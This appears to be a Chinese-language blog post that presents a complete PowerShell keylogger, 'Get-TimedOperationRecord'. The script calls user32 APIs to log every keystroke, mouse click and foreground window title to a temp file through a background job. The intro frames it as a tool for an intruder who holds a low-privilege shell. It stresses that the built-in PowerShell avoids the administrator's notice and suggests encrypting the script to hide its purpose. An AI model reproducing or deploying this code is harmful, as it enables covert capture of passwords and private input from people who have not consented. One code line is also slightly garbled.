PowerShell小技巧之定时记录操作系统行为

作为系统管理员,有些时候是需要记录系统中的其他用户的一些操作行为的,例如:当系统管理员怀疑系统存在漏洞,且已经有被植入后门或者创建隐藏账户时,就需要对曾经登陆的用户进行监控,保存其打开或者操作过的文件。或者在另外一个场景,当黑客拿下一个普通权限的shell之后,想看看最近有哪些用户登陆过,操作过什么,以便根据用户习惯采取进一步行动获取更高权限,这个时候记录用户行为就显得很重要了。

      可能有读者觉得此时安装个监控软件不就行了么,拜托,你入侵别人的系统,你装个监控软件,你把管理员试做无物么?这个时候PowerShell这个vista及其之后Windows操作系统都自带的强大的命令行就有了用处,系统自带,不会被管理员发现异常,脚本不用编译,如果脚本内容再加个密,他们更猜不出是干什么用的,嘿嘿。如果要记录几个特性用于记录啥时候干了什么,无非要记录的有几样内容:操作,哪个文件或程序,时间。有这几个特点就基本上可以掌握用户的操作习惯了。
 
      代码不算太难就不逐句解释了,有啥问题的读者可以给我留言询问,基本上关键语句都有注释的。代码如下:


 =====文件名:Get-TimedOperationRecord.ps1=====

function Get-TimedOperationRecord {

<#

    Author:fuhj(powershell#live.cn ,http://fuhaijun.com)

 Logs keys pressed, time and the active window.

.Parameter LogPath

    Specifies the path where pressed key details will be logged. By default, keystroke are logged to '$($Env:TEMP)\key.log'.

.Parameter CollectionInterval

    Specifies the interval in minutes to capture keystrokes. By default keystroke are captured indefinitely.

.Example

    Get-TimedOperationRecord -LogPath C:\key.log

.Example

    Get-TimedOperationRecord -CollectionInterval 20

#>

    [CmdletBinding()] Param (

        [Parameter(Position = 0)]

        [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]

        [String]

        $LogPath = "$($Env:TEMP)\key.log",

        [Parameter(Position = 1)]         [UInt32]         $CollectionInterval     )

    $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)

    Write-Verbose "Logging keystrokes to $LogPath"

    $Initilizer = {         $LogPath = 'REPLACEME'

        '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode

        function KeyLog {             [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null

            try             {                 $ImportDll = [User32]             }             catch             {                 $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')                 $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)                 $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)                 $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')

                $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))                 $FieldArray = [Reflection.FieldInfo[]] @(                     [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),                     [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),                     [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),                     [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),                     [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),                     [Runtime.InteropServices.DllImportAttribute].GetField('CharSet')                 )

                $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))                 $FieldValueArray = [Object[]] @(                     'GetAsyncKeyState',                     $True,                     $False,                     $True,                     [Runtime.InteropServices.CallingConvention]::Winapi,                     [Runtime.InteropServices.CharSet]::Auto                 )                 $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)                 $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))                 $FieldValueArray = [Object[]] @(                     'GetKeyboardState',                     $True,                     $False,                     $True,                     [Runtime.InteropServices.CallingConvention]::Winapi,                     [Runtime.InteropServices.CharSet]::Auto                 )                 $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)                 $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public,Static', [Int32], [Type[]] @([Int32], [Int32]))                 $FieldValueArray = [Object[]] @(                     'MapVirtualKey',                     $False,                     $False,                     $True,                     [Runtime.InteropServices.CallingConvention]::Winapi,                     [Runtime.InteropServices.CharSet]::Auto                 )                 $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)                 $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PIn$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],                     [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))                 $FieldValueArray = [Object[]] @(                     'ToUnicode',                     $False,                     $False,                     $True,                     [Runtime.InteropServices.CallingConvention]::Winapi,                     [Runtime.InteropServices.CharSet]::Auto                 )                 $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)                 $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())                 $FieldValueArray = [Object[]] @(                     'GetForegroundWindow',                     $True,                     $False,                     $True,                     [Runtime.InteropServices.CallingConvention]::Winapi,                     [Runtime.InteropServices.CharSet]::Auto                 )                 $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)                 $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $ImportDll = $TypeBuilder.CreateType()             }

            Start-Sleep -Milliseconds 40

                try                 {

                    #loop through typeable characters to see which is pressed                     for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)                     {                         $VirtualKey = $TypeableChar                         $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)

                        #if the key is pressed                         if (($KeyResult -band 0x8000) -eq 0x8000)                         {

                            #check for keys not mapped by virtual keyboard                             $LeftShift    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000                             $RightShift   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000                             $LeftCtrl     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000                             $RightCtrl    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000                             $LeftAlt      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000                             $RightAlt     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000                             $TabKey       = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000                             $SpaceBar     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000                             $DeleteKey    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000                             $EnterKey     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000                             $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000                             $LeftArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000                             $RightArrow   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000                             $UpArrow      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000                             $DownArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000                             $LeftMouse    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000                             $RightMouse   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000

                            if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}                             if ($LeftCtrl  -or $RightCtrl)  {$LogOutput += '[Ctrl]'}                             if ($LeftAlt   -or $RightAlt)   {$LogOutput += '[Alt]'}                             if ($TabKey)       {$LogOutput += '[Tab]'}                             if ($SpaceBar)     {$LogOutput += '[SpaceBar]'}                             if ($DeleteKey)    {$LogOutput += '[Delete]'}                             if ($EnterKey)     {$LogOutput += '[Enter]'}                             if ($BackSpaceKey) {$LogOutput += '[Backspace]'}                             if ($LeftArrow)    {$LogOutput += '[Left Arrow]'}                             if ($RightArrow)   {$LogOutput += '[Right Arrow]'}                             if ($UpArrow)      {$LogOutput += '[Up Arrow]'}                             if ($DownArrow)    {$LogOutput += '[Down Arrow]'}                             if ($LeftMouse)    {$LogOutput += '[Left Mouse]'}                             if ($RightMouse)   {$LogOutput += '[Right Mouse]'}

                            #check for capslock                             if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}

                            $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)                             $KeyboardState = New-Object Byte[] 256                             $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)

                            #create a stringbuilder object                             $StringBuilder = New-Object -TypeName System.Text.StringBuilder;                             $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)

                            #convert typed characters                             if ($UnicodeKey -gt 0) {                                 $TypedCharacter = $StringBuilder.ToString()                                 $LogOutput += ('['+ $TypedCharacter +']')                             }

                            #get the title of the foreground window                             $TopWindow = $ImportDll::GetForegroundWindow()                             $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle

                            #get the current DTG                             $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)

                            #Create a custom object to store results                             $ObjectProperties = @{'Key Typed' = $LogOutput;                                                   'Window Title' = $WindowTitle;                                                   'Time' = $TimeStamp}                             $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties                             $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]                             #return results                             Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode

                        }                     }                 }                 catch {}             }         }

    $Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))

    Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null

    if ($PSBoundParameters['CollectionInterval'])     {         $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)

        Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {             Stop-Job -Name Keylogger             Unregister-Event -SourceIdentifier ElapsedAction             $Sender.Stop()         } | Out-Null     } }

执行方式如下图所示:

执行效果,会在指定的目录里生成log文件,内容如下图所示:

能够看到里面相关的击键动作,有兴趣的读者可以猜一下,这段被记录的操作都干了什么,期间腾讯还推了一次弹窗新闻,无耻啊。